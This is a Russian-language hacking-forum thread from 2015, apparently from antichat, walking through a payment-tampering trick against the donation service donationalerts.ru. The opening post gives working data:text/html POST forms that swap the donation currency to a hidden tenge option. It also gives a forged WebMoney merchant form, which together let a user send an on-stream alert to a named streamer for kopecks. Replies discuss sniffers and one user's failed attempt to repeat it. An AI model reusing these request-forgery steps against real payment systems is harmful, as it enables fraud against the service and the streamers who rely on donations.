Ламерский метод "взлома" donationalerts.ru

Discussion in 'Уязвимости' started by Bonkеrs, 20 May 2015.

  1. Bonkеrs

    Bonkеrs Member

    Joined:
    5 Feb 2014
    Messages:
    36
    Likes Received:
    17
    Reputations:
    3
    Привет, хакеры и не очень!

    donationalerts - сервис, позволяющий стримерам платформы twitch, выводить сообщения на экран, во время онлайн-трансляции. В данной статье речь пойдет о скромной оплошности разработчиков, которая позволит нам отправить сообщение стримеру (подключенному к системе оповещений), потратив всего пару российских копеек, минуя установленную сумму доната.

    Разберем момент на конкретном пользователе - twitch.tv/ceh9, его страница в системе: donationalerts.ru/w/ceh9. Форма представляет собой окно для ввода вашего ника, сообщения и суммы доната с выпадающим списком для выбора валюты.

    [​IMG]

    Нас интересует код выпадающего списка (приведен ниже). Как можно заметить, веб-опции не предоставляют возможность выбрать KZT. Однако, в коде всех подобных страниц присутствует вариант с оплатой тенге. К сведению, 1 WMR = 4 WMK (казахский тенге).
    Code:
    <div name="amount-tip" class="tip">Минимальная сумма:
    <span class="curtm" data-currencycode="RUB" style="display:initial">50.00 RUB</span>
    <span class="curtm" data-currencycode="USD">1.00 USD</span>
    <span class="curtm" data-currencycode="BYR">20000.00 BYR</span>
    <span class="curtm" data-currencycode="UAH">20.00 UAH</span>
    <span class="curtm" data-currencycode="EUR">1.00 EUR</span>
    <span class="curtm" data-currencycode="KZT">0.02 KZT</span></div>
    На уровне запросов, отправка сообщения происходит в три этапа: передача post-параметров data и form; перенаправление на платежную систему с передачей параметров платежа; процедура оплаты.

    1. Отправляем ник, сообщение, сумму и валюту.
    [​IMG]

    Выполним идентичный запрос в браузере с подменой значений суммы и валюты.
    Code:
    data:text/html,
    <form method="POST" action="http://www.donationalerts.ru/w/ceh9">
    <input type="hidden" input name="data" value="name=Bonkers&amount=1&currency=KZT&comment=Good+luck%2C+man!">
    <input type="hidden" name="form" value="webmoney">
    <input name=""type="submit" value="go"><form>
    В ответ система генерирует номер платежа, выдает кошелек для оплаты, url платежной системы, а также прочие, статичные для частного примера, данные. Из полученного ответа нам потребуется номер платежа, кошелек и ссылка на платежную систему (в нашем случае, webmoney). Пример ответа:
    Code:
    {"status":"success","errors":null,"form":"webmoney","text":"\u0421\u043f\u0430\u0441\u0438\u0431\u043e! \u0421\u0435\u0439\u0447\u0430\u0441 \u0432\u044b \u0431\u0443\u0434\u0435\u0442\u0435 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u043e\u043f\u043b\u0430\u0442\u044b.","redirect_url":null,"redirect_form":"<form method=\"POST\" action=\"https:\/\/merchant.webmoney.ru\/lmi\/payment.asp\" accept-charset=\"windows-1251\"><input type=\"hidden\" name=\"LMI_PAYMENT_AMOUNT\" value=\"1\"><input type=\"hidden\" name=\"LMI_PAYMENT_DESC\" value=\"DonationAlerts: ceh9\"><input type=\"hidden\" name=\"LMI_PAYMENT_NO\" value=\"21876\"><input type=\"hidden\" name=\"LMI_PAYEE_PURSE\" value=\"K354898616754\"><input type=\"hidden\" name=\"LMI_SIM_MODE\" value=\"0\"><\/form>"}
    2. Редирект на платежную систему.
    [​IMG]

    Имитируем запрос переадресации с заменой параметров LMI_PAYMENT_AMOUNT (сумма), LMI_PAYMENT_NO (номер платежа) и LMI_PAYEE_PURSE (кошелек):
    Code:
    data:text/html,
    <form method="POST" action="https://merchant.webmoney.ru/lmi/payment.asp">
    <input type="hidden" name="LMI_PAYMENT_AMOUNT" value="1">
    <input type="hidden" name="LMI_PAYMENT_DESC" value="DonationAlerts: ceh9">
    <input type="hidden" name="LMI_PAYMENT_NO" value="21876">
    <input type="hidden" name="LMI_PAYEE_PURSE" value="K354898616754">
    <input type="hidden" name="LMI_SIM_MODE" value="0">
    <input name=""type="submit" value="go"><form>
    3. Следуем инструкциям оплаты.

    Статья написана в ознакомительных целях и уязвимость в скором времени будет устранена разработчиками. На звание взломщика года я не претендую, поэтому буду рад выслушать ваши замечания. Отдельное спасибо M_script за элегантный метод отправки post-запроса из адресной строки.

    Прошу модераторов перенести топик в соответствующий раздел ("уязвимости", "статьи" или оставить здесь).

     
    #1 Bonkеrs, 20 May 2015
    Last edited: 20 May 2015
  2. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    перенес в уязвимости, а там ребята пусть решат где теме место.
    Только не понял, почему ламерский метод? Нормальный вполне себе.
     
  3. Oasis

    Oasis Member

    Joined:
    25 Oct 2012
    Messages:
    4
    Likes Received:
    6
    Reputations:
    0
    это от скромности автора)
     
  4. Bonkеrs

    Bonkеrs Member

    Joined:
    5 Feb 2014
    Messages:
    36
    Likes Received:
    17
    Reputations:
    3
    Дело в том, что я совсем не хакер и реализация подобной невнимательности программистов показалось мне школьной забавой, в сравнении с другими статьями из этого раздела. Рад, если годно вышло. ;)
     
  5. evgenyzzz

    evgenyzzz Member

    Joined:
    21 Aug 2009
    Messages:
    0
    Likes Received:
    10
    Reputations:
    5
    Помниться лет 6-7 назад, по похожей схеме работали большинство регистраторов доменов, ух времена были.
     
  6. who_is_lamer

    who_is_lamer New Member

    Joined:
    15 Dec 2016
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    что за софтина, через которую запросы отправлял?
     
  7. pw0ned

    pw0ned Member

    Joined:
    8 Jan 2016
    Messages:
    118
    Likes Received:
    48
    Reputations:
    14
    Обычный сниффер.
     
  8. who_is_lamer

    who_is_lamer New Member

    Joined:
    15 Dec 2016
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Мне-б конкретное название, как то давно был у меня этот, вспомнить никак не могу.
     
  9. brown

    brown Member

    Joined:
    16 Oct 2016
    Messages:
    266
    Likes Received:
    12
    Reputations:
    1
    для firefox плагин hackbar
     
  10. RWD

    RWD Member

    Joined:
    25 Apr 2013
    Messages:
    157
    Likes Received:
    41
    Reputations:
    2
    HttpAnalyzerStdV7
     
  11. Bonkеrs

    Bonkеrs Member

    Joined:
    5 Feb 2014
    Messages:
    36
    Likes Received:
    17
    Reputations:
    3
    Софт называется Chrome ;)
    Отправлял запросы через адресную строку: https://forum.antichat.ru/threads/424931/#post-3844418

    Снифер HttpAnalyzer, да.
     
  12. who_is_lamer

    who_is_lamer New Member

    Joined:
    15 Dec 2016
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    • в операции должно участвовать два кошелька step=10, code=26 Что не так?
     
    #12 who_is_lamer, 12 Jan 2017
    Last edited: 12 Jan 2017
  13. RWD

    RWD Member

    Joined:
    25 Apr 2013
    Messages:
    157
    Likes Received:
    41
    Reputations:
    2
    May 20, 2015